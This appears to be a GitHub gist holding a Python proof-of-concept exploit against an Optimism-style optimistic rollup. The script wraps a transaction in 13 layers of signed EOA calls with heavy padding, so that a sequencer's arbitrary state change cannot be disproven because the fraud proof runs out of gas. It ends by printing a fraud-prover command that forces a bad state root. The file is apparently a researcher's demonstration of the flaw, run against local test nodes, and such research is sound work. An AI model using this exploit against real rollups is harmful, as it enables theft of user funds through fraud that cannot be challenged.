-
-
Save yoavw/3d36467216d7f798d6715f2d1e71a293 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Reuse the code of exploit5 to demonstrate an unprovable fraud. The only difference is the added padding (padding=59000) below. | |
# If the sequencer includes such transaciton, it can make an arbitrary state change without getting slashed. | |
# Any attempt to prove fraud will result in a revert of "Not enough gas to execute transaction deterministically." in OVM_StateTransitioner.applyTransaction(). | |
from web3.auto.http import w3 | |
from eth_abi.packed import encode_single_packed | |
from eth_abi import encode_abi | |
import eth_account.messages | |
from web3.middleware import geth_poa_middleware | |
w3.middleware_onion.inject(geth_poa_middleware, layer=0) | |
w3.provider.endpoint_uri = 'http://localhost:8545/' | |
abi=[{'inputs': [{'internalType': 'bytes', 'name': '_transaction', 'type': 'bytes'}, {'internalType': 'enum Lib_OVMCodec.EOASignatureType', 'name': '_signatureType', 'type': 'uint8'}, {'internalType': 'uint8', 'name': '_v', 'type': 'uint8'}, {'internalType': 'bytes32', 'name': '_r', 'type': 'bytes32'}, {'internalType': 'bytes32', 'name': '_s', 'type': 'bytes32'}], 'name': 'execute', 'outputs': [{'internalType': 'bool', 'name': '_success', 'type': 'bool'}, {'internalType': 'bytes', 'name': '_returndata', 'type': 'bytes'}], 'stateMutability': 'nonpayable', 'type': 'function'}] | |
def to_32byte(val): | |
return w3.toBytes(val).rjust(32, b'\0') | |
def wrap_transaction(inner_acct,inner_transaction,gas): | |
if type(inner_transaction['data']) == str and inner_transaction['data'].startswith('0x'): | |
inner_transaction['data'] = int(inner_transaction['data'],16) | |
inner_message = encode_abi(["uint256", "uint256", "uint256", "uint256", "address" ,"bytes"],[inner_transaction['nonce'],inner_transaction['gas'],inner_transaction['gasPrice'],inner_transaction['chainId'],inner_transaction['to'],w3.toBytes(inner_transaction['data'])]) | |
message = eth_account.messages.SignableMessage(version=b'\x19',header=b"Ethereum Signed Message:\n32",body=w3.toBytes(inner_message)) | |
body_hashed_as_bytes = eth_account.messages.keccak(inner_message) | |
signed_message = inner_acct.signHash(w3.toHex(eth_account.messages.keccak(encode_single_packed('(bytes,bytes32)',[message.version+message.header,body_hashed_as_bytes])))) | |
eoacon = w3.eth.contract(address=inner_acct.address,abi=abi) | |
execute_call_transaction = eoacon.functions.execute(inner_message,1,signed_message.v-27,to_32byte(signed_message.r),to_32byte(signed_message.s)).buildTransaction({'gasPrice':0}) | |
execute_call_transaction['nonce'] = 1 | |
execute_call_transaction['gas'] = gas | |
execute_call_transaction['gasPrice'] = 0 | |
return execute_call_transaction | |
accounts = [] | |
def add_acct(): | |
new_acct = w3.eth.account.create() | |
w3.eth.wait_for_transaction_receipt(w3.eth.sendRawTransaction(new_acct.signTransaction({'value': 0, 'gas': 100000, 'gasPrice': 0, 'chainId': 420, 'data': '', 'to': '0x2222222222222222222222222222222222222222', 'nonce': w3.eth.getTransactionCount(new_acct.address)}).rawTransaction)) # deploy EOA if not there yet | |
print(new_acct.address) | |
accounts.append(new_acct) | |
return new_acct | |
def add_layer(transaction,gas): | |
new_acct = add_acct() | |
return wrap_transaction(new_acct,transaction,gas) | |
def finalize_transaction(transaction): | |
new_acct = add_acct() | |
return new_acct.signTransaction(transaction).rawTransaction | |
def attack5(gas=500000,layers=13,padding=0): | |
inner_transaction = {'value': 0, 'gas': 1999999, 'gasPrice': 0, 'chainId': 420, 'data': b'\x00'*padding, 'to': '0x0000000000000000000000000000000000000001', 'nonce': 1} | |
t = inner_transaction | |
while(layers > 0): | |
layers = layers - 1 | |
t = add_layer(t,gas) | |
final_transaction = finalize_transaction(t) | |
w3.eth.wait_for_transaction_receipt(w3.eth.sendRawTransaction(final_transaction)) | |
block = w3.eth.getBlock('latest')['number'] | |
cmd=f"ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX={block-1} FORCE_BAD_ROOT={block} exec/run-fraud-prover.js" | |
print(cmd) | |
attack5(padding=59000) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment